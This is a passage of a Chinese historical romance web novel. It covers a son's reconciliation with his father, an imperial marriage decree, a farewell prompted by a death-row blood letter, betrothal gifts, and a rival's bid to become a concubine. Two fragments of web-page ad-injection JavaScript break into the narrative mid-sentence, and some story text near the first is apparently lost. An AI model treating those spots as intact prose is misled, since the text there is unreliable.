谢探微跟着父母回到谢府,李氏怕他又是过门不入,正欲留人,反见他自己乖乖跟了过来,虽不言,目光却时而飘向父亲。然则,父亲还是一眼没看他,径自走了。 李氏见状,半懂不懂,边同儿子走向厅堂,边问道:“大郎,那赐婚的旨意是你求来的?陛下已经封赏了你,你怎么还敢邀功请赏呢?” 谢探微闻言大惊,“我没有!难道不是父亲求来的吗?今早在紫宸殿站班,我亲眼见父亲进去的!” 李氏也只一愣,倒很清楚谢道元面君的缘故,但直到进了堂内,又遣开了下人,才解释:“你父亲是去问你的婚事,但,他又岂会在此时行邀功请赏之举?” 谢探微完全糊涂了,只有睁圆了眼睛看向母亲。 李氏抿了口茶,面上带出一丝愧笑,终于将所有因果一五一十地摆上了台面,前后竟说了有两三刻未停。 “我们无法揣测圣心,但露微出众,陛下若有纳妃之心,或要指婚太子,皆有可能。只是今日原也不料,杨家竟快了一步,娘生怕耽误了,才急忙和你父亲商议了,要他面君一问究竟。幸而,陛下未曾怪罪,竟还赐婚了。” 谢探微默然听完,初时高扬的面孔早已低入尘埃:父亲虽未求旨赐婚,可这个举动却险上百倍——圣意既难测,便就是明着和皇家抢人,父亲怎会舍得在他身上费如此大的代价? 李氏素来为他父子的关系忧愁,今日算是阴差阳错,倒是个弥合裂痕的好机会,便轻轻推了推儿子,柔声又劝: “大郎,你父亲的脾气是硬了些,从前许多事伤了你的心,娘也一度觉得,他看不上你,可如今倒觉得,他心里其实是认你的。你就服个软,毕竟,他是你父亲啊。” 谢探微只觉满身沉重,从未有过,启齿之间,也似乎能听见干涩的磨牙声: “我知道,太傅对我并不大满意,父亲母亲却就这样替我登门去求。当时的情形微微都同我说了,儿,不孝。” 说完,他即屈膝下跪,向母亲大拜了一礼。李氏本是极软的心肠,早受不住,泪落沾襟。 “那,便去见见你父亲吧?” 谢探微未再迟疑,复拜起身,转向了内院。 …… 谢探微从幼年在扬州家里,就从未靠近过父亲的书房,更莫说咸京的府邸,内院之地,也就因上回弟弟被笞才踏足过一次。此刻越发走近,他便只能听见自己笃笃的心跳声。 已是薄暮,天边晚云渐收,残霞绚烂,将他略显黯淡的面庞笼络进去,也似借了几分光彩。他的脚步终于移到廊下,书房门虚掩着,但细微的缝隙透不出任何景象。 “儿,求见父亲。” 微风和煦,如春风般一无燥气,将他不高不低的声音自那一线机缘中推了进去。 大约有些久,他暗数着自己的呼吸,但只到第九下,沉沉的而却松动的话音便传来了,“进来。” 他应着声便抬起了手,又在摸到门时,悬停了片刻,像是两扇门有千钧重,要同挽弓般,先蓄足了力气。 “父亲。” 原来门里的景象和他想象中的一样。书籍满架,略无埃尘,父亲立在案旁,身躯微侧,一手执书,是因他中断的样子。 “你是来问,入赘之事?” 他其实并没想好如何开口,但父亲先入为主,他亦动了心思,“母亲说,不能如我所愿,可我既已经说明了理由,便也想知道,父亲为何不许?” 谢道元轻笑了声,又不像笑,只是口鼻呼出的气息一重,“你那些理由,当真经了深思熟虑?露微那孩子,又当真希望如此?” 他不禁细思,倒真没见露微明确表态,可他一言既出,却是认真的,“难道父亲问过她了?她不愿?” 谢道元将手中书册放在案上,顺势抬眼,拂过面色懵懂的儿子,“看来,你并不算深思熟虑。你可想过,你既要聘她为妻,便是夫妻一体,休戚共之,荣辱同之,实则不论名分在谁家,你们所需面对的,都不会改变。” 他的目光渐渐趋直,像是听了一个从未涉及的高深学问。 谢道元早将目光收了回来,久不闻回声,也并不再多看,“你若不能解这些道理……” 不及说完,忽闻闷重的一声响,长子向他跪下了。许因未料,谢道元亦随之身躯一颤。 “你,懂了?”谢道元问。 谢探微颔首,一缕残照恰自窗纱透过,笔直地刺在他的侧脸,将本来硬朗的轮廓更衬得肃然分明: “从今往后,所有干系,儿自会为她担负,她亦不会让儿孤军逞勇。夫妻一体,同行至道,风雨如晦,东方明矣。” 誓言掷地,字字正声。 良晌之后,暮色临窗,廊下缓缓走来了提灯仆人,止步门下,恭声询问是否添灯。 父子的目光这才一齐转去,呼吸之间,谢探微已启门接下了灯盏。很快,书案前的灯檠被一一点亮,他回头,正撞上父亲的注目。彼此都未避开。 “父亲,”谢探微唤得恳切,“东方明矣。” 谢道元不言,缓而转身,于灯影暗处,无声一笑。 …… 谢探微自书房告退出来时,仍见母亲在厅堂等他。他早已卸下去时的沉重,母亲看他神色,亦是心下了然。 “今天便住下吧?已经晚了。”李氏笑着问道。 谢探微似还迟疑,顿了顿,却是道:“父亲已嘱咐过了。” 李氏眼中一瞬要溢出泪来,深吸了口气才慢慢压下,“你放心,娘其实早就在准备你的婚事了,今既有圣旨,更是顺理成章。只是你可有想好的日子?或者,先问问露微?” 一日的事情可以说是眼花缭乱,他实在不及想到细处,便只叫母亲做主。李氏自然乐得操心,也未再多问,唤来叶新萝引路,将他送往居处。 叶新萝是与母亲自幼相伴的人,谢探微由来尊重,见她一路在侧提灯,倒不受用,便要自理,可叶氏仍坚持,望着谢探微,心里感慨丛生,只笑道: “大郎有多少年没让奴婢侍奉了?奴婢也想多瞧瞧你啊。自到咸京,大郎还是第一回住下,可郡主自来便给你留出了东边的院子,每日都会让人打扫。” 其实谢探微早在初时归置时,就熟知了府里的格局,便也知道,东边的院子最是清幽雅致,高阁楼台,疏石廊桥,花竹水亭,无一不精,和古画里的隐逸园林一般。 然则,他此刻虽能领会父母深意,心思倒另有一段,便只笑而点头,忖度着问道:“想问叶娘一事,怕问旁人不恰,还请叶娘也不要惊动母亲。” 叶氏与李氏是一副心肠,从来没有隐瞒的道理,但见谢探微有求,也不忍拒绝,“大郎说吧,何事?是不是关于赵娘子的?” 叶氏只想谢探微的一颗心如今已被赵娘子占满了,定是不出其外,可再一听,竟大相径庭: “就是去岁随母亲一起上京的沈家表妹,她的全名叫什么?如今是回苏州去了,还是仍在府里?” “沈家表妹”的缘故,叶氏自是清楚的。但她更清楚的是,沈氏曾出手伤过赵娘子,谢探微更是为此深夜回家同父母顶撞。 “大郎,沈娘子是还在府里不假,但郡主早已去信知会了沈家,会在京中为她择婿。但总要忙完了你的大事,再办她的。你是不放心,怕赵娘子进门之后再受欺凌?” 然而,谢探微所想却比这个复杂,也不好明言。 他是为了露微,但源头也是受了露微所托。白天赵家相会,露微已告知他杨君游之事。他虽还记得有这么一个表妹,却也只是想起来,此人欺负过露微。可这一点偏偏最没用。 按照露微的计较,沈家表妹随亲上京的经历和时日都和杨君游所念之人对得上。他也告诉了露微,沈氏是苏州郡望大族,并无其他“沈氏”。故而,就剩个名字还悬疑着。 至于他为何不好明言,不过是他这私心,不想管沈氏的闲事,又因见过杨君游的为人,更觉二人品行悬殊,竟不知是怎么相识的。 “叶娘,你只说名字便是。”想了片刻,谢探微还是决定自担嫌疑,总归不想失信露微。 叶氏倒也再想不出别的理由,轻叹了声:“沈娘子的闺名是沐芳,沈沐芳。” “我知道了,劳烦叶娘。”这下,名字也合上了。 “那大郎可是担心奴婢所说的?”叶氏却还放心不下,怕谢探微好不容易和家里走近了,又要因此旧事生出隔阂,“郡主很是喜欢赵娘子,必定不会叫她吃亏的!” 谢探微虽无可解释,也难免要应一句,一笑,“叶娘,微微是我妻子,以后我在此,她便在此,我不在,自会送她回太傅身边,我不会给别人欺负她的机会。” …… 谢探微既确认了沈沐芳的身份,隔日便传信给了露微,也自然,这消息半日之内就转达了杨淑贤。 然而杨淑贤一时也急不在此。 只因,她长兄一自酒肆回家,便主动告知了父亲杨献,明言拒婚。虽说杨家遣去提亲的人并未得到赵维贞的明确回应,却都是合乎议婚礼节的。而杨君游约见露微的举动,在杨献这个经年治学人看来,简直就是离经叛道。 如此后果便是,还没等天子给赵谢两家赐婚的消息传开,杨君游就先遭了杨献一顿笞打,落了满身的血痕。 “阿兄自小不是最稳重的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吗?原来这事还不及微微阿姊查明,你就等一时又何妨?若等了一时,先知了阿姊被赐婚的消息,父亲不就怪不到你头上了?” 杨家没有女主人,杨献又在气头上,便只剩了杨淑贤为长兄跑前跑后。这时端了汤药来至长兄卧房,却看他面色青白地硬撑在书案边,既不去躺着,也不说话,难免心疼,嘴里就絮叨开了。 杨君游却只一笑,勉力抬手,在小妹鼻梁上刮了下,“我昨日说的时候你不都听见了吗?我既向赵学士解释了,就是要自己承担,陛下赐婚是意外,我就算早知,也不会利用。” 杨淑贤见他还能笑,倒也放心些,只又听这番道理,难免头大,无奈地扁了扁嘴,“行吧,你乐意做你的君子,我拦不住。”忽又想起什么,凑近道: “对了,刚刚赵伯父来见阿耶了,就是为提亲的事。我留心听了几句,他们倒是互相道歉呢。看来这事算是过去了,只是不知阿耶何时消气,愿不愿意替你去谢家提亲。” 这话却说中了杨君游的心思,他先前正是苦思于此。杨家虽然官爵不高,但世习儒业,一门清流,于朝野皆有声望。便是传家延庆,也是训教子弟洁身持重,不阿富贵。 这一样,在婚姻之事上尤为凸显。一如杨家长女杨淑真,未有婚媾之时,已是贤名远播,多有大姓望族前来求亲,杨献却只将女儿嫁给了当时还是监生的姚宜若。 然而他的婚事,便如赵家,杨献一则是看重赵维贞德高望重;二来他与赵家长子赵启英是同科进士,早有交情;再者便是深知赵露微的禀性,赵露微也素与杨家姊妹交好。所以两家从门第到儿女,都是十分契合的。 但若换成谢家,两家不仅是毫无交集,而且谢家本是豪族,谢道元又新拜了宰相,即使沈沐芳只是谢家甥女,结亲也难免有谄媚之嫌。更要紧的是,杨君游就在谢道元手下为官,又怎好去攀长官的亲?怎么看都是不通的。 “阿兄,你怎么了?有伤在身,先别难过啊。”见长兄又出了神,脸色沉顿,淑贤一时满心愧疚,怪自己多嘴。 杨君游略提了口气,目光渐才聚起,背后的伤隐隐刺痛,让他的肩膀不自禁地颤动,“我,会再好好想想的。” 淑贤瞧见了长兄在发抖,眉头心间都随之揪起来。在昨天之前,她根本想不到,自己这个性子一向沉稳,甚至有些沉闷的长兄,心里竟也有百转柔情。 “阿兄,那位沈娘子一定很漂亮吧?你是怎么认识她的?她也像你喜欢她一样喜欢你么?” “很漂亮,是赴宴时偶然相识。”杨君游避过了最后那一问。 …… 赐婚的圣旨犹如东风,李氏这里早也万事齐备,就只婚期未定。她想,两个孩子一路不易,自然是越早越好,只是男家请期,也要女家同意,此间尚需商议。 另则,长子成婚的大事,一家人总要到齐,便就差还在扬州的长女一家。虽已修书送信,只怕等人到京,也至少需要两个月。如此算来,怎么也要到秋天里了。 然而这一日,李氏正与叶氏谈论着婚事的各样庶务,却有一个婢女忽来禀事,竟就递上了一封扬州的家书。她的书信才送出去几天,一半路程都行不到,何至于就有回信了? 李氏自是大惊,展信看来,又传了送信的小奴细问,这才弄明白因果。原来早在上月,谢二郎便已让人传了信,倾诉思念,长女接信便决定上京探望,按照信中所言,此刻已经在路上了。 遣走婢仆,李氏一时也无心庶务了,只想来,小儿子尚在禁足中,她再忙着,也是每日过问的,却丝毫没听儿子提过传信之事。 “这孩子究竟在想什么?难道是怪他父亲禁他的足么?” 叶氏也觉得奇怪,便想二郎当日被禁足的缘故,牵扯了刚刚平息的逆案,家翁是对二郎言明了的。难道自小在这门第里长大的孩子,连如此大事的轻重也不知?还心怀不服,去向长姊诉苦。 虽如此想,也知李氏的心思并无二致,便不好再火上浇油,只劝道:“大娘子既已上路,郡主也不用愁大郎的婚期了,也算是好事。不若想想怎么和家翁说,莫要喜事当头,再惹家翁生气,岂不更叫二郎不平?” 李氏摇头一叹,“渺儿是他的独女,自幼就和那两个小子待遇不同。从前嫁人就只许嫁在身边,到如今也十二年了,儿女都有一双了,却自我们上京来,就远离了。你当他不挂念?有意无意的,不知被我看出来多少次。如今只要提女儿来了,他大约也不会深究。” 叶氏笑着点点头,对谢家这些事自无不清楚,不过也是有意引劝:“奴婢今天就去把西院收拾出来,那处靠着后园,也方便大娘子带梦郎和徽儿游玩。” 55.开诚 自楚案发落,不过旬日余间,喜事频传,直是教人目眩神摇。然则人声之下,露微仍记挂着一件前尘。而正当此事传来音讯,一封出自大理寺死牢的血书也几在同时送到了她的手中。 死牢血书自是罪人绝笔,前尘往因也是故人云烟。 “娘子,到了。” 马车自繁华的都城穿过,停在了咸京渡口的官道旁。露微闻声下车,目光移动,缓缓注于水畔长亭,柳树荫浓之下。那处亦早有一双眼睛,隔着淡青的雾霭,凝情而望断。 “泽兰的三岁生辰已不足一月,为什么不再等等?” 走入长亭,四目相对已不必寒暄,露微只是平常地开了口,而这也是她与姚宜苏唯一的牵连了。这个曾令她年少倾心,至今也风姿未改的姚宜苏,终究也成了故人了。 逆案发落之时,露微并未听到关于姚宜苏的消息,便让出身姚家的雪信回去探问,却只知道姚宜苏平平安安地回家了,并不曾问出其中内情。 露微很清楚,姚宜苏是参与了谋逆的,即使她后来写信告知了姚家的父仇,姚宜苏也并没有任何反应。如此又怎会一无获罪,全身而退呢? 后来,露微终究是从父亲口中知晓了详情。原来,姚宜苏早在乳母马氏处得知了父仇,一直是佯作依附,想要报仇立功两全其美,却最终毁于刚愎自用。 父亲虽早已言明与姚家断绝,却尚存一念之仁,在大事之前向天子禀明了一切。天子宽仁,顾念前情,只是当面申斥了姚宜苏,再未有其他惩罚。 如今的情形,是姚宜苏为赎罪,自请了外任,将要出发往天下诸州巡疗去了。 “不等了,不必等了。” 许久,姚宜苏挤出一丝疲惫的笑意,柳荫暗绿,复在他玉貌之上增添几分凄恻,“我今生已不堪为人父,前日已将兰儿继给了二郎。她长大之后许婚嫁人,也好些。” 露微略有些意外,但想来这样是好的,泽兰自此便是父母双全的嫡生女了,“那,你不打算回来了吗?” 姚宜苏又有半晌默然,像是失了神,再抬头时,眼中已一片泪光,“我此生,已经没有办法弥补你了,只能对不起你了。” 露微却一恍然,唇上似有咸涩的味道弥散开来,“我其实,并不算恨你。”她毅然抿去了这滋味,“今日,也想替一个人,向你道声对不起。” 姚宜苏望见露微递来一封书信,纸面分明印着血色,缓缓接下,竟是沉甸甸的,险些从他掌心滑落。 “楚王妃按律从诛,已于昨日明正典刑,但舒青要,是死于八年前的春天。” 留下这封死牢血书的罪人,名字叫做舒青要。 血书不下万言,落笔细碎,将久溺于露微脑海中,从前只能在传言里东拼西凑的故事,竭尽全力地粉饰了一番。 多年前,姚家和舒家就是邻居,舒青要和姚宜苏是同年同月同日生,尚在襁褓时就被两家母亲戏作了亲。虽然舒正显并看不上医官姚家,未真正定亲,却也不曾在意妇孺的交往。 一晃六年,姚炯遇害,姚家中落,舒家许是那时就投靠了李元珍,便很快另搬了家宅。然而,青梅竹马并未受到影响,越发志趣相投,都爱汉赋,都喜紫色,有诸多同好。 他们在十八岁那年彼此表白了心意,却未有多久,舒正显就将女儿献给了李元珍。再后来,露微就成了故事里的人,只是自始至终都是一个旁观者。 “她从未改变对你心意,她认为,你因她而苛待我,才导致了后面的许多事,可你为什么抛开她了呢?” 静等姚宜苏看完,露微便迫不及待地问了起来。这个问题,其实早在她离开姚家后,姚宜苏第一次找来,将她带到宁人坊祖宅时,她便问过,只不过当时的措辞是—— “你是从什么时候开始把我放在眼里的?” 姚宜苏垂下了双手,却像是松了口气一般,缓缓才张开泛白的嘴唇,“那你是何时抛开我的呢?” 露微猛一心惊,因为这反问,不像是驳她刚才的问,竟像是也想起了宁人坊祖宅的事。“我,不知,大约……不知。” 姚宜苏凄然一笑:“这便也是我的答案。” 露微凝视着他,良晌,归于一叹,“那么,请你,珍重吧。” 姚宜苏笑意未泯,一颔首,脚下已缓缓松动,“参辰皆已没,去去从此辞,露微,人此一世,无复来生了。” 霁天空阔,云淡风轻,终于无言。 …… 这本不该是一场令人伤怀的离别,但望着那个渐渐远去不见的身影,露微还是泪如雨下。身后,一个久候之人向她张开了怀抱,清风入耳,她不必转看便知是谁了: “微微。” 但终究还有一丝顾虑,“你都看到了?” 谢探微深吸了口气,脸颊贴住露微鬓边耳畔,“我只是不放心。”舒青要的绝书便是经狱吏转呈金吾,才被谢探微带给露微的,他亦是看过的。 露微心中波澜渐平,侧转身子,伏进了他的胸膛,“你会不会像他一样,或是如我一般,不知何时就移情他人了?” 谢探微却松开了怀抱,将露微扶正,又握起了她的左手,慢慢掀开了她的衣袖,“你伤自己的时候,可是想过移情?” 直至他动作停下,露微都没看出他想要做什么,这才一愣,目光落在小臂上两个早已愈合的圆状伤疤上,“你怎么知道的?” 这伤是保宁坊那夜,她因在昏睡中被姚宜苏把过脉,便拔钗自伤还之。事后被发现,只说是混乱中为钉子所伤。而她之所以如此,也不过是因为,除了这次,她再未受过姚宜苏的任何疗治。 “此事除了你,还能有谁知道?”谢探微皱起眉,微嗔,亦无奈,“前日陛下召见他,他出来之后主动找了我。我先不解他与我还能有何话说,但他也只是说了这一件事。” 露微低了头,拂下了左臂的衣袖,“我没有想过移情的。” 谢探微仍未松开眉心,注视着露微面容上未曾干透的泪痕,“我不知道移情两个字怎么写。”却是郑重地赌了个咒。 露微没忍住,一时笑出声来,“痴儿。” …… 露微既还是女学士的身份,在家休养了多日后,便仍和从前一样,随父亲往东宫侍奉辅教。 一日授课已毕,不知因何,小太子竟求了赵维贞,暂留了露微。赵维贞自无违拗,但等崇文殿中只剩了露微和他二人后,这小小少年却又许久不语,只直直地盯着露微。 “殿下怎么了?”忍耐了一时,露微实在摸不透,不免去到李衡书案前主动问起,“可是有为难之事?” 李衡倒未出神,只是一见露微靠近,忽然缩了下肩膀,似惊吓,眼眶却缓缓泛红了,“阿姊要嫁人了吗?” 听到这话前,露微还真以为李衡受了什么委屈,想起他曾对自己表露过宫中的不易,舒了口气,“嗯,是陛下赐婚。” 李衡却也随后长长地叹了口气:“我知道的,谢探微,我也见过的。算起来,我还得叫他一声表叔,那我以后就不能叫你阿姊了。” 露微更被逗笑了,“他可不敢受殿下这般称呼。” “那阿姊嫁人之后还会不会进宫呢?”李衡两肘撑在案上,整个身子忽然凑近了,直抵露微鼻下,“我舍不得你!” 这回换成露微一惊,身子向后缩退,“臣……”其实是并不冲突的,可少年灼灼的目光,只叫露微滞涩难言,也不敢付之轻薄平常的解释,思忖良久: “殿下,臣不会离开殿下,必会看着殿下长大成人,做一个如陛下一般的圣明君主。” 李衡仍伏在案上,但面色渐渐和缓了下来,“长大成人,就可以成婚了,可是我尚未元服加冠,还要等很久呢,我要是再年长几岁就好了。” 露微再次失语,但只是心知其状,却不可名,片刻,揆情度理想来,终作一笑: “常人男子冠礼,几是足岁,可天家不同,多是早于二十岁的。所以算来,殿下也无需等很久。只是臣斗胆问,殿下如此急于婚冠,难道是已经有了中意之人?” 李衡面颊顿时红透,坐回了席上,再不敢直视,只不时以余光瞟来,“阿姊怎么取笑我?我才没有呢!” 露微抿住笑意,仍以打量的眼光看李衡,慢慢点头:“嗯,想是没有,不然臣可要禀告太傅,说殿下三心二意,荒疏学业了!” 李衡急得昂起了脑袋,可看着露微颇是审视的目光,又泄了气,嘴里嘟囔:“谢探微真是好福气。” “什么?”露微没听清,侧过耳去。 “我说,我要给阿姊挑个贺礼,挑最好的!” …… 自东宫出来,露微仍想着李衡被堵得面红耳赤的样子,时时发笑,步子也不觉轻快。平素甚觉漫长的宫道,竟似短了许多。 一时已能望见皇城城门,露微偶一过眼,瞥见自宫城方向走来了一行人。原也无可稀奇,就是服绯服绿的官员,却待相近,倒见他们不仅有内官引路,最后还跟着一位身着粉绿翻领袍年轻娘子。 然而虽是有些好奇,露微也不至于去一问究竟,只估量着这些人定有些特殊身份,便放慢了步子,礼让他们先行。 “阿玥,天时尚早,我们去逛逛可好?” “逛什么逛,咸京的路你都认全了?” 才将人让过去,隔了有三四步远,倒无意听见了前头的谈话,就是那年轻娘子和她身旁的一个服绿少年。 别的都罢,引起露微注意的,只是那并不陌生的名字——她以前也曾叫了一段时日的“阿月”,原来,这位年轻娘子也叫“阿月”。因这小小的巧合,露微不禁一笑。 很快到了城门前,引路的内官了了差事,正要返回,却被方才说话的服绿少年叫住了。露微仍等在后头,只听他问道: “敢问内官,可知延寿坊怎么走?” 内官瞧了他一眼,却咂嘴皱眉,“我并不知!你们还是快些离开,皇城禁内,岂敢喧哗?” 不料,这内官竟十分倨傲,莫说这行人顿时一惊,就连露微都觉得不忿起来。再思量他们前后这般问话,露微也能看出,他们是人生地不熟。恐怕也正因此,才让这内官目中无人。 “既是皇城禁内,你又怎敢喧哗?!”一无迟疑,露微上前拦在了那内官面前: “内侍之职,在内侍奉,出入宫掖,听宣传令而已,原该是奉命唯谨,言听事行。我倒不知,是谁给你的胆量,竟敢欺侮朝官?!” 这内官一见露微便已脸色煞白,再听这通教训,早已躬身缩头失了气焰,“赵学士恕罪,赵学士恕罪!小奴是当真不知外头的路啊!” 露微身着官服,倒不意外他识得自己,“你便不知,也该善气迎人,难道你素日内宫行走,也敢这般出言无状?!” “小奴不敢!小奴知错了!知错了啊!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小人本没骨头,此刻完全被露微吓住了,不必提醒,主动就向那一行人告了罪。露微也不过是要警醒,点到即止,放了他去。 既已替人出了头,露微也知必要与人解释几句,但才回过头来,已见他们之中年长的一位站了出来: “方才之事,多谢赵学士援手。我等原是初次入宫,也是初到京师,故而甚不熟悉,才闹此笑话。” 这情形与露微猜测不差,一笑还礼,“不是诸位闹了笑话,是那内官欺软怕硬。只是,内官大多自小侍奉宫闱,甚少有机会出宫,大约也是真的不认路。” “原来这样!”问路的少年恍然一叹,也上前与露微拱手,“那赵学士想必是本地人,可否赐教呢?” 话音未落,已见那年长者将他拉了回去,嫌他失礼,一脸惭愧。露微并不在意,将他们带出了城门,来至朱雀大街的开阔地面,为他们指了方向: “往西穿过太平坊就是延寿坊,两坊东侧相接,你们一见店肆热闹之处便是了。” “那岂不是与我们住得很近!”少年眼睛一圆,“赵学士,我们就住在太平坊!” 露微倒无意打听他们的隐私,见已终人之事,便告辞去了。 见人去远,一直急着游逛的少年反而不聒噪了,盯着赵学士离去的方向越发出了神,口中喃喃: “咸京就是咸京,连个学士都生得如此好看!而且这样小的年纪,已穿朱衣,品阶比我都高,定自小就是神童吧!” 阿玥一旁抱手,只是连连白眼,“再好看也是个小郎君,崔为,你不会到了咸京就改喜欢男人了吧?” 崔为猛被揶揄,脸上一红,却反问:“我赞男人好看你也吃醋?” “呸!谁吃你的醋!” …… 未有几日,谢家便将聘礼送到了赵府,一并请期的礼书也呈送了家翁赵维贞过目。 露微原在房中并不知晓,直至被父亲唤去才见,原本家里最开阔的前庭竟都被各样箱奁填满了,教人眼花缭乱还不算,简直连下脚的缝隙都找不见。 却还不止这些能摆在面前的,接过聘财单子一看,竟还有写了足足五张纸的田产。其中在咸京的只有三四成,却有大半都来自谢家在扬州的资产。 虽然露微并非长在寒素门户,但这泼天的财产也是见所未见的,眼睛从纸上转到一旁的父亲,只是呆呆的: “阿耶,不然,还回去吧?” 赵维贞早见了女儿情状,只是淡然一笑,“怎么?现在知道怕了?阿耶早同你说过,谢家是豪门,这些定远非他家全部资财。你做了长媳,以后自是要当家的,可不能怕。” 露微沉思了半晌,倒不算惧怕,左右她一直管着赵家,有些经验,而且谢家母亲春秋正茂,一时也轮不到她理事。只不过,此情此景,果是成婚在即,难免生出忐忑。 “只要阿耶好好的,女儿就有依靠,便不怕!” 赵维贞原是预备着话想勉励女儿,一听这话不免想起从前,因朝廷之事疏忽了家事,对女儿深有愧疚,“好,好!阿耶答应微微,以后常去看你,什么事都不再瞒你,什么事都还请微微做主拿主意,好不好?” 露微深深颔首,眼中已不禁发酸,才要说什么,却见父亲忽将自己手中的聘财单子取了,换成了红丝扎好的一卷文书,“那么,就请微微先做这个主吧!” 露微先不解,展开一看才见是谢家告期的礼书,所定的婚期是五月十六,“我还以为阿耶已经回复函使了。” 赵维贞一笑,只问:“五月十六,可好吗?” 常理请期,都是男家先定,与女家互相谦让一番,最终也少有改日子的,但露微却想改,“阿耶,早一日吧,五月十五。” 赵维贞再不多问,一点头,铺纸提笔,即刻另改了礼书。 …… 露微自父亲书房出来时,天色已暗,见丹渥提着灯候在院中,便一笑走了过去,不曾要说什么,却听丹渥说道: “娘子在里头的时候,长公子来了好几回,但只走到院门又不进来,此刻恐怕还没走远呢。” 自从父亲将多年旧事说开,露微与赵启英之间也算平和了许多。但多年疏离,又无血缘,如今相安已经很好,露微也不奢望情分能更深一层,便于诸事,还是要以礼相待。 故此想来,露微不免加快脚步追了出去,果然就在院外小径瞧见了赵启英的背影,“阿兄!” 赵启英闻声顿步,却迟了迟才转身,“你,与父亲都说完了?” 露微点头,将丹渥所见说了一回,“阿兄是有急事吗?父亲现在不忙,你赶紧去吧。” 赵启英却并无急色,倒是有几分难色,呼了口气,才道:“我不是来找父亲的,我只是见,前头那些聘礼……婚期定了吗?” 露微疑心自己听岔了,可四下安静,字字清晰,赵启英分明是在关心她的婚事,笑意不自禁地浮上嘴角,“五月十五。” “那便很快了。”赵启英微微点了下头,转动脚下,却就要走了,“这些时日就好好准备吧。” 露微心中了然,没再拦住他,只朝着他的背影告了一句:“阿兄,从今后,我把父亲还给你了,我一定不会再被休回来了!” 赵启英的脚步与这话音同时落定,他没有再回过身来—— “非要被休,才能回来么?父亲,始终也是你的父亲。这么多年,是我愧对你了,小妹。” 56.同归 婚事临近,天子加恩,许了谢探微长假,可以婚后再来上职。只是到底还有段时日,那些礼仪正事自有李氏安排妥帖,他也忙不上,头一日便只要去那该献殷勤之处。 然而,兴冲冲的脚步还不及踏出将军府的内院,便被道旁突然窜出的一人堵住了。若非他一瞬全力刹步,又扯住身边树干借力,险些就要倾身贴上去。 急退了两步,谢探微才抬起眼睛,但看清了来人,倒也不好说什么了,“阿玥,你有什么事吗?” 名叫阿玥的人身着粉绿翻领袍,是位英气焕发,身姿挺秀的年轻娘子。相较于谢探微,她只是平静如水,“我有话早想告诉你,但一直没有机会,如今已经不能再等了。” 谢探微不解,心里只急着走,“你有何所需只管告诉阿父,我还有……” “谢探微,你娶我做妾吧。”语出惊人。 …… 杨君游拒婚之事,在杨家祖祖辈辈都是没有过的,因而即使杨献已将儿子打得半月都无法上职,也不曾完全气消。却还不止,殃及池鱼,连杨淑贤也被禁足了。 露微听闻,虽十分同情,却也无法施救,但日前忽见丛玉上门来,替她主子交代了一件差事,要送个东西给陆冬至。露微接过看时,倒就是各色饼餤,装满了一个三层的食盒。 家事如此,竟还有这般闲心,露微自是稀奇,便问起丛玉有何前因,竟不料听说了一桩奇事。原来大事戒严当日,陆冬至带兵路过杨家,为护杨家周全,留了贴身的一把短刀。所以,这三层饼餤,就是谢礼之意。 露微先是有些感叹,但越想越觉得值得推敲,竟品出些不同寻常的意味来,终究欣然应下,次日便奉命办差去了。 马车在将军府前停下,露微带了丹渥下车,便有门吏前来应承,因早也熟悉露微,上来就直接报说: “娘子只管进去吧!如今陛下放了谢司阶的假,他今天也没出门,正在呢!” 虽然这门吏嘴乖,可露微倒也不知那人得了假,便一笑,只叫丹渥先将食盒送去陆冬至屋里,“那将军在吗?” 门吏摇头:“将军昨夜当职,目下还不曾回。” 露微点点头,不再多问,想着也算个巧合,径自往谢探微院中去了。 …… 内院小道上,谢探微仍被阿玥堵着,刚刚那惊人之言已令他怫然作色,可又因这阿玥的身份特殊,一时只先强压着怒火: “阿玥,你好歹也是将门之后,刚刚的话我就当没听见,你好自为之!” 阿玥仍执着,愈发张开双臂拦住谢探微,“为什么?我既是将门之后,难道还不配与你做妾吗?” 谢探微憋得好一口闷气,大吐了几口,才忍耐着驳斥:“不管是谁,我此生都不会纳妾!请你自重些!” 阿玥摇头,万般不可思议:“可你都能接受皇帝赐婚,娶一个不认识的女人,怎就容不下我?我与你认识十年了!” 谢探微本已气得浑身发颤,根本不想再听她无赖,正要绕道另行,抬脚间却听—— “谁说他不认识我的?” 声音从阿玥身后响起,是此刻能令谢探微闻风丧胆之声——露微到得不早不晚,正好从“将门之后做妾”的话听起。而这位唤作阿玥的将门之后,她亦认了出来,皇城之下曾有一面之缘。 “微微。” 谢探微已如丧魂般,开口即哑了声。然而,露微却并不看他,只来至阿玥面前,端量着一笑: “娘子既认识谢探微十载,为了他甘愿做妾,如此深情,竟不肯费上些心思打听打听?不过娘子遇上了我,我也好心告诉你吧。我就是天子与他赐婚的妻子,赵露微。虽不及你们相识年久,却是他父母亲自到我家提的亲。我可没听他父母说,许他正礼未成先纳妾。不然,娘子跟我一道去谢家问问?” 一番话说得波澜不惊,可字句之间自有千军,早把谢探微打得失魂落魄。他从未见过露微有这般兵不血刃的本事,既震惊,也更难猜露微的心思了。 而那阿玥,自露微站在眼前便已觉面貌熟悉,亦想起那日皇城的情形,等把话听完,直是阵脚大乱,面色一阵发赤,一阵发白: “你,你究竟是谁?是男还是女?!” 露微舒了口气,略略抬高下颚:“我叫赵露微,是太子太傅赵维贞之女,是天子赐婚谢探微的妻子,也是——赵学士。” 阿玥脚下一软,连退了几步,终究不堪,一转身跑走了。 直至人影不见,露微方调过脸来,却也像是打量阿玥一般,先将谢探微上下看了一通,是穿戴整齐的样子: “这是要去哪里?” 谢探微喉中咽了咽,眼珠子都在打颤,“你……你说,你说去哪里便去哪里。” 露微轻轻挑眉:“去你家,见你父亲母亲。” 谢探微一怔,但旋即用力点了头,一把牵住露微,拔脚就往外走,却不防,轻轻巧巧被一双玉臂锁住了腰身。 “微微!”他受宠若惊,浑身一僵。 露微在他胸前噗呲一笑,“吓到了吧?” 谢探微缓缓放出一口气,仍心惊,“故意的?不生气?” 露微仰起面孔,双眸晶亮:“为何生气?她只是表白于你,又不曾做什么逾礼的事,况且,你不是拒绝她了吗?” 谢探微的双手本已不自禁地抚上露微腰背,这时忽却一滑:“她说要做我的……还要如何算逾礼?!” 